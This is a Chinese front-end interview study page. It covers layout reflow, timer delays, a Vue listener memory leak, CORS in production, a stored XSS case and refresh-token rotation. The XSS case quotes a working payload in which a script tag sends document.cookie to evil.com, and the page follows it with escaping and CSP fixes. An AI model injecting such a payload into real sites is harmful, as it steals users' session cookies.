浏览器原理与前端安全 面试备战

// 反面模式：读写交替导致循环 reflow
for (let i = 0; i < 1000; i++) {
  // 读 → 强制浏览器立即计算布局
  const height = element.offsetHeight;
  // 写 → 使布局失效
  element.style.height = (height + 10) + 'px';
  // 下一次循环读 offsetHeight 又要重新计算 → 1000次 reflow!
}

// 正确做法：批量读，批量写
const heights = [];
for (let i = 0; i < 1000; i++) {
  heights.push(element.offsetHeight);  // 批量读
}
for (let i = 0; i < 1000; i++) {
  elements[i].style.height = (heights[i] + 10) + 'px';  // 批量写
}

// 或者使用 requestAnimationFrame
function updateHeight() {
  const height = element.offsetHeight;
  requestAnimationFrame(() => {
    element.style.height = (height + 10) + 'px';
  });
}

setTimeout(fn, 0) 实际最小延迟为 4ms（HTML5 规范）。在 Chrome 中，嵌套 5 层以上的 setTimeout 最小延迟变为 4ms。

更关键的是，setTimeout 是宏任务，必须等所有微任务执行完、UI 渲染完成后才执行。

替代方案: 如果需要"尽快执行"，使用 queueMicrotask() 或 Promise.resolve().then() 作为微任务，会在当前宏任务结束后立即执行。

某后台管理系统 SPA，用户频繁切换页面后，Chrome 进程内存从 200MB 增长到 4GB，页面卡死。

根因: Vue 组件中注册了 window.addEventListener('resize', handler) 但在 beforeUnmount 中没有 removeEventListener。每个页面切换都累积一个无法回收的监听器 + 闭包中持有的组件实例。

修复: 在 beforeUnmount 中清除所有全局事件监听、定时器和第三方库实例。

开发环境通过 Vite proxy 转发 /api，一切正常。部署到生产后，前端在 app.example.com，后端在 api.example.com，直接跨域报错。

根因: 开发代理只在 dev server 生效，生产环境没有中间代理层。
解决方案: ① Nginx 反向代理统一域名；② 后端配置 CORS 响应头；③ 使用 BFF 层（如 Next.js API Routes）在服务端转发请求。

某社交平台用户将昵称改为 <script>fetch('https://evil.com?cookie='+document.cookie)</script>，其他用户查看其个人资料时，脚本执行导致 session 被窃取。

根因: 个人资料页使用 v-html 渲染用户昵称，未做转义。
修复: ① 使用 {{ }} 插值（自动转义）；② 后端对用户输入进行 sanitize；③ 添加 CSP 头；④ 敏感 Cookie 设置 HttpOnly。

Access Token 有效期 15 分钟，用户编辑长文时 Token 过期，提交失败，体验很差。

解决方案 — 双 Token 机制:
① Access Token (短效, 15min) — 用于 API 认证
② Refresh Token (长效, 7天) — 仅用于获取新的 Access Token
③ 前端拦截 401 → 自动用 Refresh Token 换新 Access Token → 重试原请求
④ Refresh Token Rotation: 每次使用 Refresh Token 后，旧 Token 失效，返回新的 Refresh Token。如果检测到旧 Refresh Token 被使用，说明被盗，撤销所有 Token。

// Axios 拦截器实现
axios.interceptors.response.use(
  (response) => response,
  async (error) => {
    if (error.response?.status === 401 && !error.config._retry) {
      error.config._retry = true;
      const newToken = await refreshAccessToken();
      error.config.headers.Authorization = `Bearer ${newToken}`;
      return axios(error.config);  // 重试原请求
    }
    return Promise.reject(error);
  }
);